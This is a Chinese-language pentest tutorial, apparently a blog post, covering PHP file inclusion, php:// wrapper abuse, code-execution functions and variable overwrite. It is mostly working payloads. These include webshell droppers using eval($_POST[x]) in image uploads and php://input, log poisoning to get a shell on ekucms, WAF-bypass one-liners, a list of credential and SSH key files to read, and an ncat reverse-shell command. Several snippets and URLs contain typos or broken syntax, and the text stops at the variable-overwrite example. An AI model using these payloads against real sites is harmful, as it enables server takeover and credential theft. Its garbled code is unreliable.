大綱:
PHP相關漏洞
JSP相關漏洞
其他漏洞匯總
PHP相關漏洞
文件包含漏洞
php://input等偽協議利用
代碼執行漏洞
變量覆蓋漏洞
文件包含漏洞
程序開發人員一般會把重復使用的函數寫到一個單個文件中,在需要使用某個函數的時候直接調用此文件,二無需再次編寫,這種文件調用的過程一般被稱為文件包含。
開發人員為使代碼變得更靈活,將被包含的文件設置為變量,用來進行動態調用,但正是由於這種靈活性,導致客戶端可以嗲用一個惡意文件,造成文件包含漏洞。
幾乎所有的腳本語言都會提供文件包含的功能,單文件包含漏洞在PHP web application中居多,而在JSP,ASP,ASP.NET程序中卻非常少見,甚至不存在,在PHP中經常出現(多存在與美國的站點),但不能代表其他語言中沒有的。
“包含”這個過程在語言中都有,但漏洞在PHP中居多。
常見的文件包含函數
include():執行include時才包含文件,找不到文件的時候只會產生警告,腳本會繼續運行;
require():只要程序一運行就包含文件,找不到文件的時候會產生致命的錯誤,並停止腳本;
include_once()和require_once():若文件中代碼已被包含則不會再次包含。
(可以用包含隱藏后門,繞過攔截WAF)
利用條件
程序用include()等文件包含函數通過動態變量的范式引入需要包含的文件;
用戶能夠控制該動態變量。
漏洞危害
執行任意代碼
包含惡意文件控制網站
控制服務器
e.g www.xx.com/index.php?file=./upload/a.php 這種連接就可能存在漏洞
其中file是文件名稱,動態傳參;a.php就是被包含的文件。
例子:
開啟PHPstudy,在網站根目錄下新建PHP文件和jpg文件
打開瀏覽器,如圖
此時可以讀取任意的文件內容
漏洞分類
本地文件包含:可以包含本地文件,在條件允許的時候甚至能執行代碼
上傳圖片馬,然后包含;
讀取敏感文件,讀php文件;
包含日志文件getshell;
包含/proc/self/envion文件getshell;
包含data:或php://input等偽協議;
若有phpinfo則可以包含臨時文件。
遠程文件包含:可以直接執行任意代碼
要保證php.ini(配置文件)allow_url_fopen和allow_url_include為on
e.g www.xx.com/index.php?file=http://www.baidu.com/a.php
漏洞挖掘
白盒代碼審計
黑盒工具挖掘
awvs appscan burp w3af
手工:找帶“.”的文件 找系統中自帶的文件
e.g www.xx.com/index.php?file=./../etc/passwd
本地包含漏洞
文件包含漏洞利用的條件
1、include()等函數通過動態變量的方法引入需要包含的文件
2、用戶能控制動態變量
1 <?php 2 $test-$_GET['c']; //通過c賦值給test
3 include($test); //包含
4 ?>
5 或者 6 <?php include($_GET[c]); ?>
將上述代碼保存為.php文件
在同一個目錄下創建test.txt內容為<?php phpinfo() ?>
訪問測試
http://127.0.0.1/test/include.php?c=test.txt
將test.txt傳送給c並賦值給test變量
本地包含漏洞注意事項
相對路徑
../../../etc/passwd
%00截斷包含(PHP<5.3.4)
1 <?php 2 include "$_GET['x'].".php"; 3 echo "$_GET['x'].".php"; 4 ?>
5 這些代碼會在后面附加.php 直接將被包含的文件默認文php文件進行搜索,但是我們存儲的是a.txt,他搜索的是a.txt.php,此時就搜不到文件,就會報錯
magic_quotes_gps=off才可以,否則%00會被轉義
此時訪問127.0.0.1/bao.php?c=a.txt.php
但目錄下並沒有這個文件,此時就無法讀取我們要讀的文件
解決方法:加%00截斷
127.0.0.1/bao.phpc=a.txt%00
利用技巧
上傳圖片馬,馬包含的代碼為
1 <?
2 fputs(fopen("shell.php","w")),"<?php eval($_POST[x]);?>") 3 ?>
上傳后圖片路徑為/uploadfile/x.jpg
當訪問http://www.xx.com/xx.php?page=uploadfile/x.jpg時
將會在fi文件夾下生成shell.php,內容為<?php eval($_POST[x]); ?>
讀取敏感文件
Windows:
c:\boot.ini | 產看系統版本 |
c:\Windows\System32\inetsrv\MetaBase.xml | IIS配置文件 |
c:\Windows\repair\sam | 存儲系統初次安裝的密碼 |
c:\Program Files\mysql\my.ini | MySQL配置 |
c:\Program Files\mysql\data\mysql\nser.MYD | MySQL root |
c:\Windows\php.ini | PHP配置信息 |
c:\Windows\my.ini | MySQL配置信息 |
Linux:
/root/.ssh/authorized_keys |
/root/.ssh/id_rsa |
root/.ssh/id_ras.keystore |
root/.ssh/known_hosts |
/etc/shadow |
/etc/passwd |
/etc/my.cnf |
/etc/httpd/conf/httpd.conf |
/root/.bash_history |
/root/.bash_history |
/proc/self/fd/fd[0-9]*(文件標識符) |
/proc/mounts |
/proc/config.gz |
包含日志(主要是得到日志的路徑)
Linux訪問日志路徑:/var/log/httpd/access_log //主要存儲的是訪問者的IP;訪問的頁面;user-agent
讀取日志路徑
文件包含漏洞讀取Apache配置文件
index.php?page=/etc/init.d/httpd
index.php?page=/etc/httpd/conf/httpd.conf
默認位置/var/log/httpd/access_log
存儲的內容:
e.g 1.1.1.1 2.2.2.2 index.php?id=1 user-agent=baidu.com
可以在訪問的時候講一句話加載后面,訪問的時候講一句話記錄在日志文件中
index.php?id=1 <?php @eval($_GET[x]);?>
讀取:
index.php?file=../../../../var/log/httpd/access_log
日志會記錄客戶端請求及服務器響應的信息
訪問http://www.xx.com/<?php phpinfo();?>時,后面的代碼也會記錄在日志中,也可以直接插到user-agent,也可以通過burp饒過編碼
實例:包含日志,一句話拿shell
在標志的連接中存在文件包含漏洞
如圖所示,就是一種文件包含的格式
包含了video文件下的detail文件夾中的頁面
下 面在后面構造路徑使其報錯:http://127.0.0.1/ekucms2.5/index.php?s=my/show/id/{~eval($_POST[x])}
此時會在網站的以下路徑中的log文件中生成日志,該日志中就會將我們的一句話寫在里面
此時我們就可以利用文件包含漏洞來包含這個日志文件,
在上圖中我們可以看到原本的一句話代碼沒有顯示,說明是已經執行了,此時用菜刀連接就可以了。
文件包含漏洞實例
制作錯誤,寫入一句話
http://127.0.0.1/ekucms/index.php?s=my/show/id/{~eval($_POST[x])}
包含日志文件
菜刀連接getshell
讀PHP文件內容
直接包含PHP文件時會被解析執行,不能查看到源碼,可以用封裝協議讀取:
?page=php://filer/read=convert.base64-encode/recource=config.php
訪問該URL后會返回config.php中經過base64加密后的字符串,解密后就是文件的源碼。
當包含cp.php文件時,回顯的是他執行后的結果,無法看到php源碼
(偽協議:就是用來控制輸入輸出流)
使用php偽協議對php文件的內容進行base64加密后輸出到頁面
將其解密后就是php文件的源碼
使用PHP封裝協議
allow_url_include=on時,若執行http://www.xx.com/index.php?page=php://input,並且提交數據<?php fpute(fopen("shell.php","w"),"<?php eval($_POST['x']);?>")?>
結果將在index.php所有文件下生成一句話文件shell.php
遠程包含
注:遠程包含的文件名不能為php可解析的擴展名;
allow_url_fopen和allow_url_include為on(在php.ini中)
若在a.txt中寫入<?php fputs(fopen("shell.php","w"),"<>php @eval($_POST[x];?>")?>,直接寫shell
php://- 訪問各個輸入輸出流
PHP提供了一些雜項輸入/輸出(IO)流,允許訪問PHP的輸入輸出流,標准輸入輸出和錯誤描述符,內存中,磁盤備份時臨時文件流以及可以操作其他讀取寫入文件資源的過濾器
php://input
是個可以訪問請求的原始數據的只讀流,POST請求的情況因為它不依賴於特定的php.ini指令,而且,這樣的情況下$HTTP_RAW_POST_DATA默認沒有填充
比激活always_populate_raw_post_data潛在需要更少的內存
enctype="multipart/from-data"的時候php://input是無效的
利用php://input插入一句話木馬
1 <?php 2 //$data=file_get_contents('php://onput'); 3 //echo $data."<br/>";
4 @eval(file_get_contents('php://input')); 5 ?>
php://input是用來接收post數據
在post下插入數據
system('ncat -e /bin/bash localhost 1234');
測試nc反彈shell
php://input將文件包含漏洞變成代碼執行漏洞
文件中存在包含漏洞的代碼
<?php @include($_GET["file"])?>
使用php://input,將執行代碼通過hackbar在post data中提交
<?php system('ifconfig')?>
data url schema
將文件包含漏洞變成代碼執行漏洞並繞過360網站衛士的waf
在實施時,問價包含漏洞在讀取php文件時,是不能顯示文件源碼的,在很多情況下,我們需要讀取php格式的配置文件,例如:
dedecms數據庫配置文件data/common.inc.php
discuz全局配置文件config/config_global.php
phpcms配置文件caches/configs/database.php
phpwind配置文件config/database.php
wordpress配置文件FileInclude.php
<?php system('cat/var/www/FileInclude.php')?>
然后將攻擊代碼轉換為data:url
data:text/plain,<?php system('cat/var/www/FileInclude.php')?>
注意:轉化偶的GET請求的參數中包含<?的標記,在遇到有些waf,包括雲waf,就會將其視為攻擊代碼,阻攔下來,所以要對其進行編碼處理
data:text/plain;base54,[攻擊代碼的base64 編碼]
php://filter在文件包含漏洞中的利用
讀取PHP文件源碼內容
用法:
php://filter/read=convert.base64-encode/resource=[文件路徑]
將得到base64的數據解碼得出PHP文件內容
代碼執行漏洞
代碼執行函數
PHP中可以執行代碼的函數,如
eval()
assert()
上述兩個是把接受到的字符串當做代碼來執行
`` 這個是反引號
system()
exec()
shell_exec()
passthru()
escapeshellcmd()
pcntl_exec()
上述的都是命令執行函數,執行系統命令
例如:<?php eval($_POST[x])?>
訪問:http://127.0.0.1/bao.phpx=要執行的命令;
http://127.0.0.1/bao.phpx=phpinfo();
http://127.0.0.1/bao.phpx=system(ipconfig);
http://127.0.0.1/bao.phpx=system(whoami);
過WAF語句:<?php $_GET[b]($_GET[a]);?>
訪問:
http://127.0.0.1/bao.php?b=eval&a=phpinfo()
http://127.0.0.1/bao.php?b=assert&a=phpinfo()
動態代碼執行
<?php $a=$_GET[a]; $b=$_GET[b]; $a($b); ?>
http://127.0.0.1/x.php?a-system&b=ipconfig
執行系統命令
命令執行函數
在PHP中可以用以下5個函數來執行外部的應用程序或函數
1、system:執行一個外部的應用程序並顯示輸出的結果
2、exec:執行一個外部的應用程序
3、passthru:執行一個Unix系統命令並顯示原始的輸出
4、shell_exec:執行shell命令並返回輸出的結果的字符串
5、··運算符:與shell_exec函數的功能相同。
system函數的使用
<?php $cmd=$_GET["cmd"]; echo "<pre>"; system($cmd); echo "</pre>"; ?>
http://127.0.0.1/sys.php?cmd=ipconfig
shell_exec函數
<?php $x=$_GET[x]; echo shell_exec($x); ?>
http://127.0.0.1/x.php?x=ipconfig
http://www.xx.com/search.php?searchtype=5&id=&avea=phpinfo()
變量覆蓋漏洞
變量如果未初始化,且能被用戶所控制
在PHP中若register_globals為on是尤其嚴重
此為全局變量覆蓋漏洞
當register_golbal=on時,變量來源可能是各個不同的地方
比如頁面表單,cookie等
變量覆蓋示例